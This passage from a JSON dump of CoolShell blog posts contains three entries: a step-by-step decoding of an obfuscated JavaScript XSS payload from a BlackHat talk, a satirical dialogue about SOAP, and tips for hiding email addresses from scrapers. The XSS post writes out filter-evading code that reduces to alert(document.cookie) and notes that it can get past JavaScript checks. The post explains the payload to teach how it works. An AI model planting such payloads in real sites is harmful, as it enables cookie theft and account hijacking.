class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3572.html\">C语言函数实现的另类方法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-1-26 一段Javascript的代码.html",
    "content": "<html><body><p>我们先看一段Javascript的代码，如下所示：（你能看出来这是干什么的？）</p>\n<p>[javascript]($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+<br/>\n($$=($_=!”+$)[_/_]+$_[+$])])()[__[_/_]+__<br/>\n[_+~$]+$_[_]+$$](_/_)[/javascript]</p>\n<p>这段代码来自<a href=\"http://www.blackhat.com/html/bh-dc-11/bh-dc-11-home.html\" target=\"_blank\">BlackHat DC 2011</a>（(黑帽安全大会，全世界最大两个黑客大会之一，另一个是Defcon）中的一个叫<a href=\"http://www.blackhat.com/html/bh-dc-11/bh-dc-11-speaker_bios.html#Barnett\" target=\"_blank\">Ryan Barnett</a>黑客做的<a href=\"https://docs.google.com/viewer?url=http://www.modsecurity.org/documentation/XSS_Street_Fight-Ryan_Barnett-BlackhatDC-2011.pdf&amp;embedded=true&amp;chrome=true\" target=\"_blank\">XSS Street-Fight</a>！的演讲(XSS是Web上比较经典的跨站式攻击，操作起来也有些复杂)，一共69页，基本上都是一些比较枯燥的Javascript，不过这段代码挺有意思的，如果上面这段代码换个样子：</p>\n<p>[javascript]($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+<br/>\n($$=($_=!”+$)[_/_]+$_[+$])])()[__[_/_]+__<br/>\n[_+~$]+$_[_]+$$](document.cookie)[/javascript]</p>\n<p>你看到了document.cookie，于是你可能会想到这是偷用户帐号免登录cookie的。是的，就是这样。答案是，这代码等价于alert(document.cookie)，而最上面的那个代码等价于alert(1)——当然，还不仅仅只是alert。看到这里，你可能会想起<a href=\"https://coolshell.cn/articles/914.html\" target=\"_blank\" title=\"6个变态的C语言Hello World程序 \">变态的C语言Hello World程序</a>，以及<a href=\"https://coolshell.cn/articles/933.html\" title=\"如何加密/混乱C源代码\">如何加密/混乱C源代码</a>，是的，这回的这个是Javascript版的，混乱Javascript的会比混乱C的更难懂，因为Javascript的变量类型是可以乱用的。</p>\n<p>好，下面让我们来对这个代码做个解析。</p>\n<p><span id=\"more-3540\"></span>首先，我们先明确一点，在Javascript和C中，混乱后的代码都是要使用一个或多个下划线（_）来当变量名使用的，所以，请把其中的下划线看成变量名。</p>\n<p>其次，这段代码可以分成两个部分，第一个部门其实就是sort()，第二个部分才是alert()</p>\n<p>[javascript title=”sort()”]($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+<br/>\n($$=($_=!”+$)[_/_]+$_[+$])])()[/javascript]</p>\n<p>[javascript title=”alert()”][__[_/_]+__[_+~$]+$_[_]+$$](_/_)[/javascript]</p>\n<p>我们来看看细节的解释。</p>\n<ul>\n<li>$=[] 是一个空数组</li>\n<li>$=[$=[]] 是一个引用空数组的数组。所以 $ 的解引用就是数字 0。</li>\n<li>__ =  (__ = !$ + $ )   等价于字符串”false”</li>\n<li>_ = -~-~-~$    中~是位运算符“非”，~$等于-1，所以-~$ 就是+1，基本上来说，~N就是 -(N+1)，所以这个表达式的值为3。</li>\n<li>因为_ = 3，所以 _/_ = 3/3 = 1</li>\n</ul>\n<p>于是：</p>\n<ul>\n<li>(__ = !$ + $ )[ _ = -~-~-~$]</li>\n<li>(“false”)[_]</li>\n<li>(“false”)[3]</li>\n<li>“false”[3] = s</li>\n</ul>\n<p>而：</p>\n<ul>\n<li>({} + $)[_/_]</li>\n<li>(” object”)[_/_]</li>\n<li>(” object”)[1]</li>\n<li>” object”[1] = o</li>\n</ul>\n<p>再来：</p>\n<ul>\n<li>$ = ( $_ = !” + $)[_/_]</li>\n<li>$ = ( “true”)[1]</li>\n<li>“true”[1] = r</li>\n</ul>\n<p>最后：</p>\n<ul>\n<li>$_[+$] = “true”[0] = t</li>\n</ul>\n<p>因为</p>\n<p>($$ = ( $_ = !” + $)[_/_] + $_[+$] ))</p>\n<p>所以我们可以经过下面的推算得出$$的值</p>\n<ul>\n<li>!” = “true”</li>\n<li>$_ = (true)</li>\n<li>$_[1] = r</li>\n<li>$_[0] = t</li>\n<li>$$ = rt</li>\n</ul>\n<p>所以第一部分就成了 sort()，也就是以下的代码</p>\n<p>[javascript]($ = [ $=[]] [\"s\" + \"o\"+ \"r\"+ \"t\" ] )()[/javascript]</p>\n<p>Sort 接受一个作为函数的参数来运行，从而执行了第二部份。</p>\n<p>[__[_/_]+__[_+~$]+$_[_]+$$](_/_)</p>\n<p>我们知道：</p>\n<ul>\n<li>$ = 0</li>\n<li>_ = 3</li>\n<li>__ = “false”</li>\n<li>$! = “true”</li>\n<li>$$ = “rt”</li>\n</ul>\n<p>[__[_/_]+__[_+~$]+$_[_]+$$](_/_)</p>\n<p>等价于<br/>\n[__[1] + __[3 + -1] + $![3] + $$)(1);</p>\n<p>等价于<br/>\n[“false”[1] + “false”[3 + -1 ] + “true”[3] + “rt”] (1)</p>\n<p>等价于<br/>\n[ a + l + e + r + t ](1)</p>\n<p>等价于<br/>\nalert(1)</p>\n<p>就是这样！于是这段代码可能绕过你的一些对Javascript的检查。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3540.html\">一段Javascript的代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-1-27 SOAP的S是Simple.html",
    "content": "<html><body><p>曾经有一个争论，一边是站在SOAP这边的人，另一边则是其它人。 站在SOAP这边人，当他们在争论SOAP和Web Service框架的复杂度时，SOAP这边的人说，在引入那些WS-*东东之前，SOAP的确是简单的，这就是为什么SOAP的第一个字母S就是Simple。</p>\n<p>在2000年的时候，有一个苦恼的程序员，</p>\n<p><strong>程序员</strong>: 不好意思，我的老板这周末去打高尔夫了，现在我不得不要搞一个SOAP的应用，但是我根本不知道什么是SOAP。SOAP专家，你能帮我吗？</p>\n<p><strong>SOAP专家</strong>: 当然可以。首先，我要告诉你，SOAP 就是 Simple Object Access Protocol.</p>\n<p><strong>程序员</strong>: 哦，那么说来，他是简单的罗？</p>\n<p><strong>SOAP专家</strong>: 简单的就像星期天一样，我的朋友。</p>\n<p><strong>程序员</strong>: OK，快跟我说说。</p>\n<p><strong>SOAP专家</strong>: 好，就像他的名字一样，SOAP用为远程对象访问。</p>\n<p><strong>程序员</strong>: 像CORBA一样？</p>\n<p><strong>SOAP专家</strong>: 正是如此，就是像 CORBA，只是更简单。不需要复杂的传输协议，还要设置防火墙，SOAP用的是HTTP。而且我们用的是XML作为传输数据格式而不是二进制。</p>\n<p><span id=\"more-3585\"></span></p>\n<p><strong>程序员</strong>: 听起来很不错哦，告诉我它是怎么工作的？</p>\n<p><strong>SOAP专家</strong>: 没问题。首先，有一个SOAP信封，其相当的简单。就是一个XML文件由head和body组成。在body中进行你的RPC调用。</p>\n<p><strong>程序员</strong>: 哦，这就是所有的RPC的东西？</p>\n<p><strong>SOAP专家</strong>: 确对是的。就像我所说的，你的RPC调用的方法名和其参数都需要写的这个XML文档的body中。方法名是在最外层的tag，每一个嵌套的子tag就是其参数。并且所有参数的类型都可以被指定，请看能规格说明书的第五节。</p>\n<p><strong>程序员</strong>: (阅读第五节) 还好，不算太坏。</p>\n<p><strong>SOAP专家</strong>: 现在，当你的服务开发完后，你需要指定endpoint.</p>\n<p><strong>程序员</strong>: Endpoint?</p>\n<p><strong>SOAP专家</strong>: Endpoint, 就是服务的地址。你需要使用HTTP的 POST 方法把SOAP 信封放到 endpoint的 URL.</p>\n<p><strong>程序员</strong>: 如果我使用HTTP的GET方法什么怎么样？</p>\n<p><strong>SOAP专家</strong>: 不知道，使用GET的行为 undefined.</p>\n<p><strong>程序员</strong>: 哼哼。那么，要是我把我的服务移到别的 endpoint上？我是否可以得到一个301错误？</p>\n<p><strong>SOAP专家</strong>: 不会的，SOAP不会返回HTTP的错误码。</p>\n<p><strong>程序员</strong>: 那么，当你说SOAP使用HTTP，你的意思是说SOAP在HTTP打了个洞？</p>\n<p><strong>SOAP专家</strong>: 哦，别说得那么难听，应该说， SOAP 是一个传输协议。</p>\n<p><strong>程序员</strong>: HTTP 就不是吗？那是应用层的协议啊。总之，SOAP支持了别的什么传输协议？</p>\n<p><strong>SOAP专家</strong>: 官方地来说没有。但是你可以潜在地支持任何的协议。而且有许多的平台支持JMS，FTP还有SMTP。</p>\n<p><strong>程序员</strong>: 有人用那那些协议吗？</p>\n<p><strong>SOAP专家</strong>: 嗯，没有。不过，我想表达的是，你能够。</p>\n<p><strong>程序员</strong>: 好吧。关于 SOAPAction HTTP header，这是用来做什么的？</p>\n<p><strong>SOAP专家</strong>: 老实说，没人真正的知道。</p>\n<p><strong>程序员</strong>: 那么，那些 ‘actor’ 和 ‘mustUnderstand’ 属性，是否有人用呢？</p>\n<p><strong>SOAP专家</strong>: 没有，真的没人用。你就忽略这些东西吧。</p>\n<p><strong>程序员</strong>: 好吧，让我现读一读SOAP的规格说明书。</p>\n<p>(程序员阅读中……)</p>\n<p><strong>程序员</strong>: 好了，我现在几乎可以做个简单的东西了，但是我不能说我喜欢这个远程过程调用RPC的方法以及其序列化对象的方式 。</p>\n<p><strong>SOAP专家</strong>: RPC！对象序列化！你从哪得到的SOAP就是一堆RPC的这种印象？! SOAP是关于基于文档的消息传递啊，我的朋友。</p>\n<p><strong>程序员</strong>: 但是，这是你说的……</p>\n<p><strong>SOAP专家</strong>: 忘了我所说的吧。现在，让我们谈谈消息传递吧。其消息格式遵守XML Schema，我们把之称为新型的文件格式。</p>\n<p><strong>程序员</strong>: XML Schema?</p>\n<p><strong>SOAP专家</strong>: 哦，这是很不错的东西，未来的头等技术，你应该看一下。</p>\n<p><strong>程序员</strong>: (阅读 Schema 规格说明书). 上帝保佑我们！就算是亚历山大帝也搞不定它啊。</p>\n<p><strong>SOAP专家</strong>: 不必太担心。会有专门的工作为你来创建XML Schema。真的，这只不过就是工具上的事。</p>\n<p><strong>程序员</strong>: 工具是怎么做的？</p>\n<p><strong>SOAP专家</strong>: 好吧，他们反映了你的代码，并自动生成Schema。</p>\n<p><strong>程序员</strong>: 反映了我的代码？我以为这只是文档，而不是对象序列化。</p>\n<p><strong>SOAP专家</strong>: 你没听我说吗？这只不是工具上的事。总之，我们不能期望你来手写 XML Schema 和 WSDL。另外，这其实就是一种校正测量。你不需要读的。</p>\n<p><strong>程序员</strong>:  喔喔，等一下，你刚才说的那个单词是什么？ Wizzdle?</p>\n<p><strong>SOAP专家</strong>: 哦，我没有说过吗？WSDL. Web Services Description Language. 它让你指定你的数据类型，参数，操作名，传输绑定，以及endpoint URI，这样，所有的客户程序员就可以访问你的服务了。你应该看看。</p>\n<p><strong>程序员</strong>: (阅读WSDL 规格说明书)。我相信那个写下这个文章的人已经被枪杀了。其内部说明都不一致。而且，其用的是HTTP GET绑定，你不是和我说过， GET 是 undefined吗.</p>\n<p><strong>SOAP专家</strong>: 不必担心那个，没人会用那玩意。总之，工具会帮你生成WSDL，而且在WDSL里会有Schema的。</p>\n<p><strong>程序员</strong>: 但是，不应该用别的方法吗？不应该是先设计好接口然后再是生成代码吗？</p>\n<p><strong>SOAP专家</strong>: 是的，我猜那在原则上听起来是对的。但做起来并不容易，只有很少的SOAP栈支持先开发WSDL。让工具为这个事操心去吧。</p>\n<p><strong>程序员</strong>: 还有一个问题。如果我们传递 XML Schema 的消息，我们在哪里指写操作名？</p>\n<p><strong>SOAP专家</strong>: 好吧，你还记得 SOAPAction HTTP header吗? 绝大多数的人把操作名放在那里。</p>\n<p><strong>程序员</strong>: 大多数人？</p>\n<p><strong>SOAP专家</strong>: 嗯，这种新型并不会被写在所有的地方。</p>\n<p><strong>程序员</strong>: 我注意到你们整个SOAP界有很多的模糊和歧意，有些地方还是错的，并没有标准的规格说明书。实际上， SOAP 和 WSDL 规格说明书只是 W3C 的笔记罢了，连草稿都不是。</p>\n<p><strong>SOAP专家</strong>: 我们还在继续中。</p>\n<p><strong>程序员</strong>: 这个真的能行吗？能承诺吗？</p>\n<p><strong>SOAP专家</strong>: 绝对没有问题。</p>\n<p><strong>程序员</strong>: 好吧，那我去试试。</p>\n<p>(不久以后……)</p>\n<p><strong>程序员</strong>: 事情变得很恶心。我这边的工具生成的WDSL居然不能被我同事的工具使用。还不仅仅是这个，其生成的XML Schemas 无法重用。而且，好像没有工具可以最好的处理SOAPAction header.</p>\n<p><strong>SOAP专家</strong>:  很报歉，兄弟。在光明的那一面，没人用这些文件。为了让传输独立，我们所有人都用包装好的文件。听着是不是很酷：包装好的文件？</p>\n<p><strong>程序员</strong>: 那是什么？</p>\n<p><strong>SOAP专家</strong>: 就像是原来那样，只不过，你整个消息被 包装起来成一个元素，其和操作有一样的名字。现在操作名和消息成了一体了。</p>\n<p><strong>程序员</strong>: 好吧，请问说明书在哪里？</p>\n<p><strong>SOAP专家</strong>: 哦，没有规格说明书。这只是Microsoft自己搞的。不过应该是个很不错的主意，挺不错的。然后，这是一个新玩意。我想你一定会喜欢它的—— Web Services Interoperability Group，简称 WS-I，它就是为了移除 SOAP 和 WSDL 规格说明书中的那些歧义。我知道你有多么喜欢规格说明书。</p>\n<p><strong>程序员</strong>: 所以，换句话说，原来的那些规格说明书太糟糕了，以致于你需要一个标准化的东西来标准化这些标准。上帝啊。好吧，那么，是否这些协调问题被 解决了？</p>\n<p><strong>SOAP专家</strong>: 当然，只要你使用 WS-I 的 SOAP 栈，就可以减少使用80%的 XML Schema，别用任何不同寻常的数据类型，也别期望可以和WebSphere和 Apache Axis一起运行。</p>\n<p><strong>程序员</strong>: 那么，是否包装的文件被在那里被解释了？</p>\n<p><strong>SOAP专家</strong>: 没有，但是你的工具会明白的。绝大多数，总之。</p>\n<p><strong>程序员</strong>: 让我总结一下，SOAP的定义是不变的，SOAP可以是任何东西，但就是简单，它不再意味着对象访问，就算是所有的工具都那样做。</p>\n<p><strong>SOAP专家</strong>: 基本上是对的，但是我们走得比你要远一些。我们不赞成SOAP缩写的含义。</p>\n<p><strong>程序员</strong>: 真的！那么SOAP是什么的缩写？</p>\n<p><strong>SOAP专家</strong>: 什么也不是，就是SOAP.</p>\n<p><strong>程序员</strong>: (无语中……)</p>\n<p><strong>SOAP专家</strong>: 下面让我来告诉你什么是 UDDI。</p>\n<p>（注：我以前还认真地学过SOAP，不过真是学不懂。）</p>\n<p>原文：<a href=\"http://harmful.cat-v.org/software/xml/soap/simple\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3609.html\"><img alt=\"那些炒作过度的技术和概念\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3609.html\">那些炒作过度的技术和概念</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4905.html\"><img alt=\"语言的数据亲和力\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4905.html\">语言的数据亲和力</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3498.html\"><img alt=\"信XML，得自信\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3498.html\">信XML，得自信</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2504.html\"><img alt=\"信XML，得永生！\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2504.html\">信XML，得永生！</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3585.html\">SOAP的S是Simple</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-1-27 如何“加密”你的email地址.html",
    "content": "<html><body><p>现在在网上要小心，无论是<a href=\"https://coolshell.cn/articles/2428.html\" target=\"_blank\">保护好你的用户名和帐号</a>，还是我们的电子邮件地址。在网上有很多爬虫程序专爬我们的电子邮件地址，一量被爬中了，那么你的邮箱里就是一堆又一堆的垃圾邮件，就好像我的haoel(at)hotmail.com一样，在7、8年前，每天几千封的垃圾邮件。现在hotmail的垃圾邮件过滤得好一些了，不过也有每天40封左右的垃圾邮件。但是我们在自己的网页上又需要发布自己的email地址。所以我们需要搞乱我们的邮件地址，就像那种非常规的<a href=\"https://coolshell.cn/articles/933.html\" target=\"_blank\">搞乱代码一样</a>。不过，我们还需要能认人读的出来。</p>\n<p>一般来说，在网上现在很普遍的做法是——</p>\n<ul>\n<li>1）用图片，可以用PHP动态生成那个验证码式的。</li>\n<li>2）把@变成at，把点变成dot，如 haoel(at)hotmail(dot)com之类的。</li>\n<li>3）把a变成@，写成haoel@hotm@mail.com</li>\n</ul>\n<p>不过这些还是能被爬到，用图片的方法不利于用户拷贝粘贴。下面介绍几种方法：</p>\n<h4>第一种：使用CSS样式</h4>\n<p><strong>反转字序</strong></p>\n<pre class=\"EnlighterJSRAW\">\nspan.codedirection { unicode-bidi:bidi-override; direction: rtl; }\n&lt;p&gt;&lt;span&gt;moc.liamtoh@leoah&lt;/span&gt;&lt;/p&gt;</pre>\n<p><span id=\"more-3595\"></span></p>\n<p><strong>加入些不显示的字符串</strong></p>\n<pre class=\"EnlighterJSRAW\">p span.hide { display:none; }\n&lt;p&gt;foo@bar&lt;span class=\"hide\"&gt;null&lt;/span&gt;.baz&lt;/p&gt;</pre>\n<h4>第二种：使用Javascript</h4>\n<p>最为简单的方法是：</p>\n<p>[javascript]document.write(\"haoel\" + \"@\" + \"hotmail\" + \".\" + \"com\");[/javascript]</p>\n<p>或是：</p>\n<p>[javascript]&lt;script type=\"text/javascript\"&gt;<br/>\n&lt;!–<br/>\n\tvar string1 = \"@\";<br/>\n\tvar string2 = \"haoel\";<br/>\n\tvar string3 = \"hotmail.com\";<br/>\n\tvar string4 = string2 + string1 + string3;<br/>\n\tdocument.write(\"&lt;a href=\" + \"mail\" + \"to:\" + string2 + string1 + string3 + \"&gt;\" + string4 + \"&lt;/a&gt;\");<br/>\n//–&gt;<br/>\n&lt;/script&gt;[/javascript]</p>\n<p>不过更为强大的是使用ROT13加密，这里有一个<a href=\"http://rot13.de/\" target=\"_blank\">ROT13的在线工具</a>，或是使用PHP的ROT13的函数<a href=\"http://ch2.php.net/str_rot13\" target=\"_blank\">str_rot13</a>。</p>\n<p>[javascript]&lt;script type=”text/javascript”&gt;<br/>\ndocument.write(“&lt;n uers=\\\"znvygb:unbry@ubgznvy.pbz\\\"&gt;”.replace(/[a-zA-Z]/g,<br/>\nfunction(c){return String.fromCharCode((c&lt;=”Z”?90:122)&gt;=(c=c.charCodeAt(0)+13)?c:c-26);}));<br/>\n&lt;/script&gt;陈皓的电子邮件&lt;/a&gt;[/javascript]</p>\n<p>这些方法还是很有效果的。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6193.html\"><img alt=\"CSDN明文口令泄露的启示\" height=\"150\" src=\"../wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6193.html\">CSDN明文口令泄露的启示</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5353.html\"><img alt=\"你会做Web上的用户登录功能吗？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5353.html\">你会做Web上的用户登录功能吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3877.html\"><img alt=\"另类UX让你输入强口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3877.html\">另类UX让你输入强口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3801.html\"><img alt=\"破解你的口令\" height=\"150\" src=\"../wp-content/uploads/2011/02/passwords-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3801.html\">破解你的口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2451.html\"><img alt=\"Twitter的禁用口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2451.html\">Twitter的禁用口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2428.html\"><img alt=\"如何管理并设计你的口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2428.html\">如何管理并设计你的口令</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3595.html\">如何“加密”你的email地址</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-1-28 为什么中国的网页设计那么烂？.html",
